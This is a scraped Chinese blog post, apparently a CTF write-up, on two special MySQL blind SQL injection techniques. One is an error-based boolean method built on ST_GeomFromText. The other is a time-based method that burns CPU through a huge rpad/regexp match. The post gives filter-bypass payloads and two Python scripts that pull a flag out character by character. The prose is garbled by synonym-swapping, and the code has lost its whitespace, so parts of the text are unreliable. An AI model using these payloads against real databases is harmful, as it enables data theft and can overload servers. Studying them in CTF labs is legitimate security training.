首页 » 网站建设 » phpmysql盲注技巧_两种CTF中特殊盲注的总结

phpmysql盲注技巧_两种CTF中特殊盲注的总结

访客 2024-12-12 0

扫一扫用手机浏览

文章目录 [+]

MySQL注入中,3种盲注办法:基于布尔的盲注、基于韶光的盲注、基于报错的盲注。
以此节制盲注事理!
链接指路:https://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001&pk_campaign=toutiao-wemedia

序言

phpmysql盲注技巧_两种CTF中特殊盲注的总结

Blind SQL(盲注)是SQL注入攻击的个中一种。
在sql注入过程中,sql语句实行后数据不会回显到前端页面,此时,我们须要利用一些方法进行判断或者考试测验,这个过程称之为盲注。

phpmysql盲注技巧_两种CTF中特殊盲注的总结
(图片来自网络侵删)

SQL盲注基本知识

常用基本函数

IF(expr1,expr2,expr3)

若expr1为true,则返回expr2,为false则返回expr3

SELECT IF(TRUE, 'A','B') -- 输出结果:ASELECT IF(FALSE,'A','B') -- 输出结果:BASCII(str)

返回字符串str最左面字符的ASCII值

SELECT ASCII("flag") -- 输出结果:102ORD(str)

返回字符串str第一个字符的ASCII值

SELECT ORD("flag") -- 输出结果:102CHAR(int)

将ASCII码值int转换成字符

SELECT CHAR(65) -- 输出结果:AMID(str,pos,len)

从pos位置开始,截取字符串str共len个长度的字符

SELECT MID("Hello World", 3, 5) -- 输出结果:llo W

与SUBSTR(str,pos,len) 效果相同

LEFT(str,len)

返回字符串str左边部分共len个字符

SELECT LEFT("flag", 2) -- 输出结果:flSLEEP(duration)

duration是休眠的时长,以秒为单位,也可以是小数

SELECT SLEEP(3)# [SQL] SELECT SLEEP(3)# 受影响的行: 0# 韶光: 3.005msREGEXP

正则表达式,用来匹配文本的分外的串(字符凑集)

SELECT "FLAG" REGEXP "LA" -- 输出结果:1SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0其它

LENGTH(str) -- 返回字符串str的长度DATABASE() -- 返回当前数据库名VERSION() -- 返回当前MySQL版本

布尔盲注

根据注入点的输入,页面只返回True和False两种类型页面。
利用页面返回不同,逐个猜解数据。

SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2

据此可知数据库名的长度为4

韶光盲注

通过实行韶光的是非来判断是否实行成功,也便是韶光延迟注入。

SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才相应SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即相应

据此可知数据库名的第一个字符为c

以下2道题目:flag在flag表的flag字段

在本地搭建靶机,用post传参,变量keywords吸收

基于运行缺点的布尔盲注

基于运行缺点的布尔盲注即能够通过sql语句的语法、语义剖析,但运行时报错。

我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会实行expr3,此时由于运行缺点而页面无法正常显示。

ST_GeomFromText(character-string[, srid]) 是根据字符串表示布局几何的方法,即:

SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )-- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]

ST_X(point):该方法是获取点的x坐标,它操作的工具是一个点,即:

SELECT ST_X(POINT(2,3)) -- 输出结果:2

但当操为难刁难象不是点时,运行会报错,却能够通过sql的检讨,以是可以用来布局true和false两种情形下涌现不同的页面

SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

P.s.

ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。

须要把稳的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。

其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);SELECT IF({}, ST_X(MADS), 0);SELECT IF({}, ST_MPointFromText('MADS'),0);SELECT IF({}, ST_GeomFromText('MADS'),0);

如果题目过滤了ST,可以考试测验用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。

NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT

当输入1、2、3等数字时,页面返回Hello World

而当输入被过滤的关键字时,网页返回No Hacker

由此可以测试一些被过滤的关键字有:

'、"、or、-、、>、<、=、like、sleep、substr、mid、ascii、ord

然而在不被ban掉的情形下,网页只能返回一种页面,无法进行平常的数字型盲注。

而像if(0,1e9999,1),由于无法通过sql语句的检讨,以是页面无法正常显示,更别说if(1,1e9999,1)了。

此时可以考虑用基于运行缺点的布尔盲注,语法、语义上能够通过sql的检讨,但如果实行到该语句却会运行缺点,这样便能够布局true和false两种情形了。

用if来进行盲注,'被过滤了,用十六进制绕过。

if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))>if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))

此时页面返回Hello World。
题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。

布局payload:

if(left((selectflagfromflag),1)regexpchar(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

此时页面仍旧返回Hello World,可以知道flag的第一个字符是char(102),也便是f

if(left((selectflagfromflag),2)regexpchar(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))

而第二个字符是char(108),也便是字符l

用python写个脚本

importrequestsdeffun(string):result=""j=1foriinstring:ifj!=len(string):result=result+str(ord(i))+","else:result=result+str(ord(i))j+=1return"char("+result+")"url="http://sqlblind.com/index.php"tables="abcdefghijklmnopqrstuvwxyz0123456789-_}{"flag=""foriinrange(1,50):forjintables:ifj=="{"orj=="}":j="\\"+jpayload="if(left((selectflagfromflag),%s)regexp%s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))"%(i,fun(flag+j))r=requests.post(url=url,data={'keywords':payload})if"HelloWorld"inr.text:flag=flag+jprint(flag.replace("\\",""))break

基于巨大运算韶光的韶光盲注

由于在这里过滤了ST,以是以ST开头的函数会被ban,无法利用。

同时又过滤了sleep,以是无法通过韶光休眠来延迟韶光,也就没法用sleep来进行韶光盲注。

但我们可以通过sql语句来实行一个运算韶光很长很长的语句,以此来作为韶光延迟,也便是说用if来判断flag的字符,如果精确则实行一个须要很长运算韶光的语句,否则返回0。

以是之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符精确,这样便能进行韶光盲注了。

在此之前先理解几个函数

rpad(str,len,padstr)

对字符串str进行右添补,用padstr添补至str长度为len个字符

SELECT RPAD('hi', 5, '?') -- 输出结果:hi???concat(str1,str2,...)

连接多个字符串为一个字符串

SELECT CONCAT('he', 'll', 'o') -- 输出结果:hellorepeat(str,count)

返回字符串str重复count次后的字符串

SELECT REPEAT('ab', '3') -- 输出结果:ababab

布局payload:

1andif((selectflagfromflag)regexpbinary'f',rpad('a',5000000,'a')regexpconcat(repeat('(a.)+',30),'b'),0)

也便是说如果flag的第一个字符为f的话,则会实行下面这句语句:

rpad('a',5000000,'a')regexpconcat(repeat('(a.)+',30),'b')

rpad('a',5000000,'a')会添补为5000000个a,会布局成一个很长的字符串,与字符串concat(repeat('(a.)+',30),'b')去作正则匹配,通过巨大的运算量来延时。

这样做的话做事器可能会崩

由于题目过滤了',以是用十六进制代替

1andif((selectflagfromflag)regexpbinary0x66,rpad(0x61,5000000,0x61)regexpconcat(repeat(0x28612E2A292B,30),0x62),0)

以下两种图片用get传参测试韶光延迟效果

猜中flag的第一个字符时:

而如果猜第一个字符为0x01,则为false,if返回0

以是我们可以通过大量的运算韶光做延迟,进行韶光盲注。

但做事器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。
做事器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被通报给一个HASH函数,并返回一个hash值,然后做事器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。
如果存在,做事器进程将利用这条语句已高速缓存在SHARED POOL的library cache中的已剖析过的版本来实行,省去后续的解析事情,这便是软解析。

以是多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.)+',30),'b')后将不再延迟,以是对rpad()的5000000须要每次自减1

脚本来自Gqleung(http://www.plasf.cn)

importrequestsdeford2hex(string):result=""foriinstring:r=hex(ord(i))r=r.replace('0x','')result=result+rreturn'0x'+resulturl="http://sqlblind.com/index.php"tables="abcdefghijklmnopqrstuvwxyz0123456789-_}{"result=""foriinrange(1,50):forjintables:ifj=="{"orj=="}":j='\\'+jpayload="1andif((selectflagfromflag)regexpbinary%s,rpad(0x61,%d,0x61)regexpconcat(repeat(0x28612E2A292B,30),0x62),0)"%(ord2hex("^"+result+j),5000000-i)try:r=requests.post(url=url,data={'keywords':payload},timeout=3)exceptExceptionase:result=result+jprint(result.replace('\\',''))

timeout:设定超时时间,秒为单位 在设定时间内没有返回内容则返回一个timeout非常

若是3秒内没有返回内容则返回timeout非常,即字符精确,打印输出

标签:

相关文章

php测验计时技巧_php实现在线考试系统

文章正文效果图如下:题库首页展示试题在线测试分数统计通过该小项目目的是练习PHP根本知识,通过对数组操作实现考题信息存储加载,引入...

网站建设 2024-12-14 阅读0 评论0